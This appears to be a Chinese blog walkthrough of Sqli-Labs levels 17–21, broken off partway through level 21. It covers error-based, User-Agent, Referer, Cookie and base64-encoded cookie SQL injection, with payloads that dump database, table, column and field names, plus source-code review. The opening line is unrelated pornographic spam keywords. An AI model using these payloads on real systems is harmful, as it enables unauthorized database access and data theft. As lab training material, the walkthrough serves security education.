国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

基于Sqli-Labs靶場(chǎng)的SQL注入-17~22關(guān)

這篇具有很好參考價(jià)值的文章主要介紹了基于Sqli-Labs靶場(chǎng)的SQL注入-17~22關(guān)。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

目錄

Less-17:基于POST請(qǐng)求方式的中級(jí)注入

爆破數(shù)據(jù)庫(kù)名

爆破表名?

爆破列名?

爆破字段值?

第十七關(guān)代碼審計(jì)

Less-18:HTTP頭部注入-UA注入

爆破數(shù)據(jù)庫(kù)名

爆破表名?

爆破列名?

爆破字段值?

HTTP頭部注入判斷方法

Less-19:HTTP頭部注入-Referer注入

爆破數(shù)據(jù)庫(kù)名

爆破表名? ? ? ??

爆破列名??

爆破字段值

Less-20:HTTP頭部注入-Cookie注入

COOKIE理解

爆破數(shù)據(jù)庫(kù)名

爆破表名

爆破列名

爆破字段值

Less-21:HTTP頭部注入-使用 base-64 編碼進(jìn)行加密的Cookie注入

爆破數(shù)據(jù)庫(kù)名字

爆破表名

爆破列名

爆破字段值

Less-22:HTTP頭部注入-使用 base-64 編碼進(jìn)行加密的Cookie注入

總結(jié)



Less-17:基于POST請(qǐng)求方式的中級(jí)注入


? ? ? ? 首先我們進(jìn)入這一關(guān):sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到這一關(guān)讓你進(jìn)行“密碼重置”,我們這里首先隨便輸入一個(gè)賬戶(hù)和密碼進(jìn)行測(cè)試。我這里用戶(hù)名輸入1,密碼輸入1。觀察頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到頁(yè)面回顯對(duì)我們很不友好,對(duì)于一個(gè)搞網(wǎng)安的,這能忍?

? ? ? ? 我們進(jìn)行注入點(diǎn)測(cè)試,先測(cè)試用戶(hù)名這一欄有沒(méi)有漏洞,我測(cè)試單引號(hào)為注入點(diǎn),觀察頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 很顯然,沒(méi)用。那么我們就測(cè)試修改密碼的輸入框看看有沒(méi)有,依舊輸入單引號(hào)測(cè)試:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 很顯然,依舊沒(méi)用。這里注意一下我為什么不使用其他注入點(diǎn),其實(shí)一般情況下你輸入單引號(hào)如果存在漏洞就報(bào)錯(cuò)了,因?yàn)閱我?hào)不匹配。當(dāng)然你們可以去測(cè)試雙引號(hào)為注入點(diǎn)的情況以及 ') 為注入點(diǎn)的情況等等。這里我以及做過(guò)測(cè)試了,都沒(méi)用,不在贅述了。這個(gè)情況就說(shuō)明兩種情況:

1、在這兩個(gè)輸入框中對(duì)我們輸入的單引號(hào)等進(jìn)行了過(guò)濾

2、可能有前提條件限制,例如必須你輸入了正確的用戶(hù)才能進(jìn)行下一步操作,如果輸入的用戶(hù)名不正確那么我們無(wú)論怎么修改密碼都無(wú)濟(jì)于事。

? ? ? ? 因?yàn)轱@示出了一個(gè)用戶(hù)名“DhaKKan”,所以我們用它作為用戶(hù)名進(jìn)行嘗試,看看它是不是正確的用戶(hù)名。我們將其密碼修改為1,觀察頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到出現(xiàn)了成功修改后的頁(yè)面,說(shuō)明用戶(hù)名是沒(méi)問(wèn)題的,也證實(shí)了必須有正確的用戶(hù)名才能進(jìn)行密碼修改。

? ? ? ? 接下來(lái)就是再次嘗試注入點(diǎn)在哪兒,也就是找漏洞,我們首先查看用戶(hù)名這里有沒(méi)有注入點(diǎn),輸入單引號(hào)進(jìn)行測(cè)試,觀察頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 發(fā)現(xiàn)還是不行,那就測(cè)試修改密碼的地方看看行不行,輸入單引號(hào)測(cè)試:? ??sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql? ? ? ? 可以看到不僅回顯了成功修改密碼后的頁(yè)面而且出現(xiàn)了SQL語(yǔ)句報(bào)錯(cuò),說(shuō)明此處存在注入點(diǎn)。且注入點(diǎn)就是單引號(hào)。

? ? ? ? 接下來(lái)我們首先看一下該數(shù)據(jù)庫(kù)有多少列,在修改密碼的地方輸入語(yǔ)句:

1' order by 3 #

? ? ? ? 頁(yè)面回顯:?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql? ? ? ? ?可以看到頁(yè)面報(bào)錯(cuò),說(shuō)明列數(shù)小于3,我們繼續(xù)測(cè)試,輸入語(yǔ)句:

1' order by 1 #

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql? ? ? ? ?可以看到也是報(bào)錯(cuò),說(shuō)明這一關(guān)就不能使用聯(lián)合注入了,因?yàn)槁?lián)合注入必須要用 order by 語(yǔ)句去測(cè)試有多少列,然后根據(jù)列數(shù)去寫(xiě)語(yǔ)句,這里顯然不能使用聯(lián)合注入。? ? ? ?

? ? ? ? 不能使用聯(lián)合注入的時(shí)候首先考慮報(bào)錯(cuò)注入,我們嘗試一下報(bào)錯(cuò)注入。

爆破數(shù)據(jù)庫(kù)名


? ? ? ? 這里我首先使用 extractvalue() 函數(shù)進(jìn)行注入,在修改密碼的地方輸入語(yǔ)句:

1' and extractvalue(1,concat(0x7e,database())) #

? ? ? ? 頁(yè)面回顯:? ? ? ? ?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到成功爆破了數(shù)據(jù)庫(kù)名字。

爆破表名?


? ? ? ? 這里我使用 updatexml() 函數(shù)注入,在修改密碼的地方輸入語(yǔ)句:

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) #

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到回顯了第一張表的名字,因?yàn)閳?bào)錯(cuò)注入有輸出限制,所以要使用 limit 語(yǔ)句。其余表名爆破方式一樣,這里不在贅述。

爆破列名?


? ? ? ? 在修改密碼的地方輸入語(yǔ)句:

1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),3) #

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到爆破出了表 emails 中第一列的列名,其余列名爆破方法一樣,這里不在贅述。

爆破字段值?


? ? ? ? 在修改密碼的地方輸入語(yǔ)句:

1' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql????????可以看到爆破出了表 emailsid 列的第一個(gè)字段值,其余字段值方法一樣,這里不在贅述。

第十七關(guān)代碼審計(jì)


? ? ? ? 接下來(lái)進(jìn)行代碼審計(jì),查看一下這一關(guān)的源碼并且解析一下。sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysqlsqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 從這幾個(gè)語(yǔ)句可以看出來(lái),我們輸入的數(shù)據(jù)在和后臺(tái)數(shù)據(jù)庫(kù)進(jìn)行交互的時(shí)候會(huì)首選判斷我們輸入的用戶(hù)名是否存在,存在的話(huà)才可以進(jìn)行修改密碼的操作。

sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到 uname 被一個(gè)函數(shù) check_input()?修飾了,而 passwd?沒(méi)有被修飾。而函數(shù)check_input?() 的作用是過(guò)濾掉單引號(hào)以及進(jìn)行數(shù)字類(lèi)型的轉(zhuǎn)換,驗(yàn)證輸入的值是否為空。所以說(shuō)我們之前在 uname 輸入框中輸入了單引號(hào)沒(méi)有作用。

? ? ? ? 到這里第十七關(guān)就結(jié)束了。

Less-18:HTTP頭部注入-UA注入


? ? ? ? 首先我們進(jìn)入這一關(guān):sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到這一關(guān)下面顯示了我們的 IP 地址。我們首先去每個(gè)輸入框中測(cè)試有沒(méi)有注入點(diǎn)。先測(cè)試一下單引號(hào):sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到并沒(méi)有漏洞,其余像雙引號(hào),單引號(hào)帶括號(hào)這種注入點(diǎn)我就不一一測(cè)試了,因?yàn)槎疾恍?,你們可以自己測(cè)試一下。

? ? ? ? 既然常規(guī)方法沒(méi)有頭緒的話(huà),我們可以進(jìn)行一下代碼審計(jì)看看什么情況。sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到這一關(guān)中 unamepasswd 都被 check_input() 函數(shù)修飾了,這個(gè)函數(shù)的作用就是過(guò)濾單引號(hào)以及其他符號(hào)的。所以說(shuō)無(wú)論我們?cè)趦蓚€(gè)輸入框怎么嘗試注入也不行的原因。sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? ?接下來(lái)我們看這一條語(yǔ)句,明顯是一個(gè)插入語(yǔ)句,但是插入的數(shù)據(jù)中出現(xiàn)了 uagent 。但是查看源碼卻沒(méi)有發(fā)現(xiàn)對(duì)傳入的 uagent 進(jìn)行任何過(guò)濾,那么漏洞就在這里。

? ? ? ? 接下來(lái)我們先看一下登錄成功的頁(yè)面是什么樣的:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到成功登錄的頁(yè)面回顯了 IPUser-Agent。所以這里我們使用 User-Agent 注入。

? ? ? ? 接下來(lái)我們使用 Burp Suite?進(jìn)行抓包,因?yàn)橹挥械卿洺晒Σ拍苁鬼?yè)面回顯出來(lái) User-Agent ,所以我們要抓取登錄成功時(shí)的包,頁(yè)面中給了我們用戶(hù)名 Dhakkan 我們就用這個(gè)用戶(hù)名進(jìn)行登錄(密碼是1) :sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到成功抓取到了登錄成功時(shí)的包,接下來(lái)我們將其發(fā)送到?Repeater?:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 這里我們?cè)谧髠?cè)可以修改頁(yè)面的 User-AgentReferer、Cookie等數(shù)據(jù)并進(jìn)行發(fā)送,在右側(cè)可以實(shí)時(shí)觀察修改之后頁(yè)面的變化,十分方便。

? ? ? ? 這里我們首先把頁(yè)面原本的 User-Agent 數(shù)據(jù)全部刪除了,替換成我們的注入語(yǔ)句。這里我使用報(bào)錯(cuò)注入。

爆破數(shù)據(jù)庫(kù)名


? ? ? ? 首先測(cè)試注入點(diǎn),輸入單引號(hào)測(cè)試:? ? ??sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到頁(yè)面報(bào)錯(cuò)了,那注入點(diǎn)八成就是單引號(hào)。接下來(lái)輸入語(yǔ)句:

' and extractvalue(1,concat(0x7e,database()))) #

? ? ? ? 細(xì)心的兄弟肯定發(fā)現(xiàn)我多了一個(gè)括號(hào),這里我解釋一下原因,首先我們查看源代碼:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到我們最終輸入的注入語(yǔ)句是被帶入到 VALUES 后面的語(yǔ)句中執(zhí)行的,因此要閉合 VALUES 后面的括號(hào),這也就是為什么要多加一個(gè)括號(hào)的原因,當(dāng)我們不加括號(hào)的語(yǔ)句:

VALUES(' and extractvalue(1,concat(0x7e,database())) #','$IP','$uname')

? ? ? ? 可以看到有一個(gè)括號(hào)是沒(méi)有閉合的,這樣就會(huì)導(dǎo)致括號(hào)不必配報(bào)錯(cuò),而不是 extractvalue() 函數(shù)報(bào)錯(cuò),自然也就得不到我們要的數(shù)據(jù)。

? ? ? ? 頁(yè)面回顯:
sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到成功爆破了數(shù)據(jù)庫(kù)名字。

爆破表名?


? ? ? ? 在 User-Agent?后輸入語(yǔ)句:

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))) #

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到成功爆破了第一張表的名字,其余表名字的爆破方法一樣,這里不在贅述。

爆破列名?


????????在 User-Agent?后輸入語(yǔ)句:

' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)))) #

? ? ? ? 頁(yè)面回顯:? ? ? ? ?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到回顯了表 emails 中第一列的列名,其余列名爆破方法一樣,這里不在贅述。

爆破字段值?


?????????在 User-Agent?后輸入語(yǔ)句:

' and updatexml(1,concat(0x7e,(select id from emails limit 0,1)),3)) #

? ? ? ? ?頁(yè)面回顯:
sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到回顯了表 emails 中列名為 id 的第一個(gè)字段值,爆破其余字段值方法一樣,這里不在贅述。?

HTTP頭部注入判斷方法


?????????注意頁(yè)面的顯示信息,有沒(méi)有返回地址信息(IP)、cookie信息、referer信息等等,有返回的話(huà)就要想能不能使用BURP抓包實(shí)現(xiàn)HTTP頭部注入。

? ? ? ? 到此第十八關(guān)就結(jié)束了。

Less-19:HTTP頭部注入-Referer注入


? ? ? ? 首先進(jìn)入第十九關(guān)靶場(chǎng):sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 發(fā)現(xiàn)和第十八關(guān)一摸一樣,那八成是使用 Burp Suite 抓包進(jìn)行爆破了,估計(jì)兩個(gè)輸入框都進(jìn)行過(guò)濾了。進(jìn)行代碼審計(jì)看一下:? ? ? ? ?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到確實(shí)被過(guò)濾了,那么只能使用 Burp Suite?抓包進(jìn)行注入了,我們首先看一下成功登錄的頁(yè)面顯示什么:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到顯示了 IPReferer?信息。一般來(lái)說(shuō)頁(yè)面回顯什么信息,那么該信息一般就存在漏洞,我們?cè)谶M(jìn)行代碼審計(jì)查看一下源碼中對(duì) Referer 數(shù)據(jù)的處理,有沒(méi)有漏洞。sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到這里插入數(shù)據(jù)的時(shí)候插入了 Referer 數(shù)據(jù),但是源碼中沒(méi)有對(duì)該數(shù)據(jù)進(jìn)行過(guò)濾,那么我們的注入點(diǎn)就在這里。

? ? ? ? 因?yàn)橹挥性诘卿洺晒Φ臅r(shí)候才會(huì)回顯 Referer 信息,所以我們要抓取登錄成功時(shí)的包,用戶(hù)名就使用頁(yè)面給我們的 Dhakkan(密碼為1)sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 成功抓到了登錄成功時(shí)的包,將其發(fā)送到?Repeater :sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 接下來(lái)我們將原本的 Referer 信息全部替換為我們的注入語(yǔ)句。首先測(cè)試注入點(diǎn),我這里輸入單引號(hào)做測(cè)試:?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql? ? ? ? ?可以看到頁(yè)面報(bào)錯(cuò)了,那么單引號(hào)應(yīng)該就是注入點(diǎn),這里我使用報(bào)錯(cuò)注入。

爆破數(shù)據(jù)庫(kù)名


? ? ? ? 在 Referer 后輸入語(yǔ)句:

' and extractvalue(1,concat(0x7e,database()))) #

? ? ? ? 多加括號(hào)的原理和 UA 注入一樣,大家不懂的可以看前面一關(guān)的講解。

? ? ? ? 頁(yè)面回顯:
sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到成功爆破了數(shù)據(jù)庫(kù)名字。

爆破表名? ? ? ??


????????在 Referer 后輸入語(yǔ)句:?? ? ? ?

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))) #

? ? ? ? 頁(yè)面回顯:
sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到爆破出了第一張表的名字,其余表名爆破方法一樣,這里不在贅述。

爆破列名??


????????在 Referer 后輸入語(yǔ)句:

' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)))) #

? ? ? ? 頁(yè)面回顯:?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到爆破出了表 emails 中第一列的名字,爆破其余列的名字方法一樣,這里不在贅述。

爆破字段值


????????在 Referer 后輸入語(yǔ)句:?

' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1)))) #

? ? ? ? 頁(yè)面回顯:
sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到爆破出了表 emailsid 列的第一個(gè)字段值,其余字段值的爆破方法一樣,這里不再贅述。

? ? ? ? 到此為止,第十九關(guān)就結(jié)束了。

Less-20:HTTP頭部注入-Cookie注入


? ? ? ? ?首先我們進(jìn)入這一關(guān):sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到不像前幾關(guān)那樣有明顯的回顯,我們輸入單引號(hào)測(cè)試一下注入點(diǎn):sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到輸入框中無(wú)論怎么測(cè)試都會(huì)出現(xiàn)登錄失敗的頁(yè)面,說(shuō)明后臺(tái)應(yīng)該是過(guò)濾了特殊字符,我們進(jìn)行代碼審計(jì)看一下:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到確實(shí)過(guò)濾了,那么在頁(yè)面中直接輸入語(yǔ)句注入這條路是斷了,只能通過(guò)抓包了,我們?cè)俅芜M(jìn)行代碼審計(jì)看看哪兒有漏洞:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 這一段代碼表示當(dāng)我們正常登錄的時(shí)候頁(yè)面會(huì)回顯 COOKIE 的值,那么我們看看這里有沒(méi)有漏洞,可以看到取值的時(shí)候是取的 cookee 的值然后進(jìn)行回顯,我們嘗試找找當(dāng)把?cookee 這個(gè)值傳入的時(shí)候有沒(méi)有漏洞:

sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到這里就是給 cookee 這個(gè)數(shù)值賦值的語(yǔ)句,但是源代碼中并沒(méi)有對(duì)傳入的數(shù)值做任何過(guò)濾,那么這里就是注入點(diǎn),修改傳入的 COOKIE 值從而進(jìn)行注入。我這里使用報(bào)錯(cuò)注入。

? ? ? ? 在注入之前我們要理解網(wǎng)頁(yè)中的 COOKIE 值包含什么,有什么作用。

COOKIE理解


????????Cookie,有時(shí)也用其復(fù)數(shù)形式 Cookies。類(lèi)型為“小型文本文件”,是某些網(wǎng)站為了辨別用戶(hù)身份,進(jìn)行 Session 跟蹤而儲(chǔ)存在用戶(hù)本地終端上的數(shù)據(jù)(通常經(jīng)過(guò)加密),由用戶(hù)客戶(hù)端計(jì)算機(jī)暫時(shí)或永久保存的信息,是一個(gè)保存在客戶(hù)機(jī)中的簡(jiǎn)單的文本文件, 這個(gè)文件與特定的 Web 文檔關(guān)聯(lián)在一起, 保存了該客戶(hù)機(jī)訪(fǎng)問(wèn)這個(gè) Web 文檔時(shí)的信息,?當(dāng)客戶(hù)機(jī)再次訪(fǎng)問(wèn)這個(gè) Web 文檔時(shí)就會(huì)調(diào)用這些信息使用。由于 “Cookie” 具有可以保存在客戶(hù)機(jī)上的神奇特性, 因此它可以幫助我們實(shí)現(xiàn)記錄用戶(hù)個(gè)人信息的功能。Cookie 保存的前提條件就是登錄成功,這樣網(wǎng)頁(yè)才會(huì)根據(jù)我們的需求保存 Cookie。當(dāng)網(wǎng)頁(yè)保存了 Cookie 之后我們下次登錄的時(shí)候就不需要輸入賬戶(hù)和密碼了,會(huì)直接登錄。這樣固然方便但是也造成了一定的安全問(wèn)題,當(dāng)有人獲取了你的 Cookie 信息的時(shí)候就可以不需要賬戶(hù)和密碼直接登錄你的賬號(hào)了。一般還是不要在網(wǎng)頁(yè)中保存你的 Cookie 信息。

爆破數(shù)據(jù)庫(kù)名


? ? ? ? 我們首先使用 Burp Suite 抓包,但是這一關(guān)的抓包和其余關(guān)有一點(diǎn)不一樣,因?yàn)槲覀円サ骄W(wǎng)頁(yè)保存的 Cookie 信息,但是 Cookie 信息只有當(dāng)我們成功登錄某一個(gè)賬號(hào)的時(shí)候才會(huì)保存,所以我們必須要成功登錄某一個(gè)賬號(hào)之后抓取登錄后的包。方法就是登錄成功后刷新一下頁(yè)面,抓取刷新時(shí)的包:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 這就是我抓到的包含 Cookie 信息的包,之后將其發(fā)送到?Repeater?:?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到在左側(cè)出現(xiàn)了頁(yè)面保存的 Cookie 信息,這就是我們要注入的地方。

? ? ? ? 首先我們測(cè)試一下注入點(diǎn),在 Cookie?值后邊輸入單引號(hào)做一下測(cè)試:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到頁(yè)面發(fā)生了報(bào)錯(cuò),那么注入點(diǎn)應(yīng)該就是單引號(hào)。

? ? ? ? 之后輸入語(yǔ)句:

' and extractvalue(1,concat(0x7e,database())) #

? ? ? ? 頁(yè)面回顯:?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到成功爆破了數(shù)據(jù)庫(kù)名。

爆破表名


? ? ? ? 在 Cookie?值后輸入語(yǔ)句:

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) #

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql
? ? ? ? ?可以看到回顯了第一張表的名字,其余表名的爆破方法一樣,這里不在贅述。

爆破列名


????????在 Cookie?值后輸入語(yǔ)句:

' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) #

? ? ? ? 頁(yè)面回顯:?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到成功爆破了表 emails 中的第一列的名字。爆破其余列的名字的方法一樣,這里不再贅述。?

爆破字段值


????????在 Cookie?值后輸入語(yǔ)句:

' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? ?可以看到頁(yè)面回顯了表 emailsid 列的第一個(gè)字段值,其余字段值的爆破方法一樣,這里不在贅述。

? ? ? ? 到這里第二十關(guān)就結(jié)束了。

Less-21:HTTP頭部注入-使用 base-64 編碼進(jìn)行加密的Cookie注入


? ? ? ? 首先進(jìn)入21關(guān):sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到這一關(guān)同20關(guān)的回顯很相似,我們進(jìn)行測(cè)試注入點(diǎn):sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysqlsqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到無(wú)論輸入什么符號(hào)進(jìn)行測(cè)試頁(yè)面也只出現(xiàn)登錄失敗的回顯,那應(yīng)該是后臺(tái)對(duì)我們輸入的數(shù)據(jù)進(jìn)行了過(guò)濾,進(jìn)行代碼審計(jì)看一下:

?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到確實(shí)進(jìn)行了過(guò)濾,那我們就只能考慮使用抓包了,我們?cè)俅芜M(jìn)行代碼審計(jì)嘗試找一下漏洞:?sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到和20關(guān)一樣,屬于 Cookie 注入。那么之后就進(jìn)行抓包,還是抓取登錄之后保存了 Cookie 信息的包:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 將其發(fā)送到?Repeater?:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以發(fā)現(xiàn) Cookie 值與前一關(guān)明顯不一樣了,直觀的看上去就像一堆亂碼,但其實(shí)這是使用了base-64編碼 進(jìn)行加密了。我們可以進(jìn)行代碼審計(jì)看一下加密語(yǔ)句:
sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 這條語(yǔ)句就是加密語(yǔ)句,也就是說(shuō)網(wǎng)頁(yè)后臺(tái)存儲(chǔ)我們輸入的 Cookie 信息的時(shí)候是加密存儲(chǔ)的。?

? ? ? ? 這一關(guān)只要講我們輸入的注入語(yǔ)句也用 base-64編碼 加密就可以了,大家可以去網(wǎng)上搜一個(gè)加\解密的網(wǎng)頁(yè),把我們要注入的語(yǔ)句進(jìn)行加密然后輸入到 Cookie 值后面就可以。我這里使用報(bào)錯(cuò)注入。

? ? ? ? 給大家一個(gè)在線(xiàn)編解碼的鏈接:https://c.runoob.com/front-end/693/

爆破數(shù)據(jù)庫(kù)名字


? ? ? ? 在 Cookie 值后輸入使用 base-64編碼 加密后的語(yǔ)句進(jìn)行測(cè)試注入點(diǎn)是什么。

? ? ? ? 加密前:

dhakkan'

? ? ? ? 加密后:??

????????ZGhha2thbic=

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到注入點(diǎn)應(yīng)該是 ')??。

? ? ? ? 接下來(lái)在 Cookie 值后輸入使用 base-64編碼 加密后的語(yǔ)句:

? ? ? ? 加密前:

dhakkan') and extractvalue(1,concat(0x7e,database())) #

? ? ? ? 加密后:

????????ZGhha2thbicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSkgIw==?

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 可以看到成功爆破了數(shù)據(jù)庫(kù)名字。

爆破表名


? ? ? ? 在 Cookie 值后輸入使用 base-64編碼 加密后的語(yǔ)句測(cè)試一下數(shù)據(jù)庫(kù)列數(shù):

? ? ? ? 加密前語(yǔ)句:

dhakkan') order by 4 #

? ? ? ? 加密后:

????????ZGhha2thbicpIG9yZGVyIGJ5IDQgIw==

? ? ? ? 頁(yè)面回顯:
sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 說(shuō)明列數(shù)小于4,測(cè)試一下3:

? ? ? ? 加密前語(yǔ)句:

dhakkan') order by 3 #

? ? ? ? 加密后:

????????ZGhha2thbicpIG9yZGVyIGJ5IDMgIw==

? ? ? ? 頁(yè)面回顯:
sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

? ? ? ? 列數(shù)為3,接下來(lái)測(cè)試一下有沒(méi)有顯示位:

? ? ? ? 輸入語(yǔ)句:

0') union select 1,2,3 #

? ? ? ? 加密后:

????????MCcpIHVuaW9uIHNlbGVjdCAxLDIsMyAj

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql? ? ? ? ?可以看到頁(yè)面存在顯示位,可以使用聯(lián)合注入,我這里就使用聯(lián)合注入了。

? ? ? ? 輸入語(yǔ)句:

0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

? ? ? ? ?加密后:

????????MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyAj

? ? ? ? 頁(yè)面回顯:
sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql? ? ? ? ?可以看到回顯出了表名。

爆破列名


? ? ? ? 輸入語(yǔ)句:

0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' #

? ? ? ? 加密后:

????????MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2VtYWlscycgIw==

? ? ? ? 頁(yè)面回顯:sqlilabs第17關(guān),SQL注入,網(wǎng)絡(luò)安全,mysql

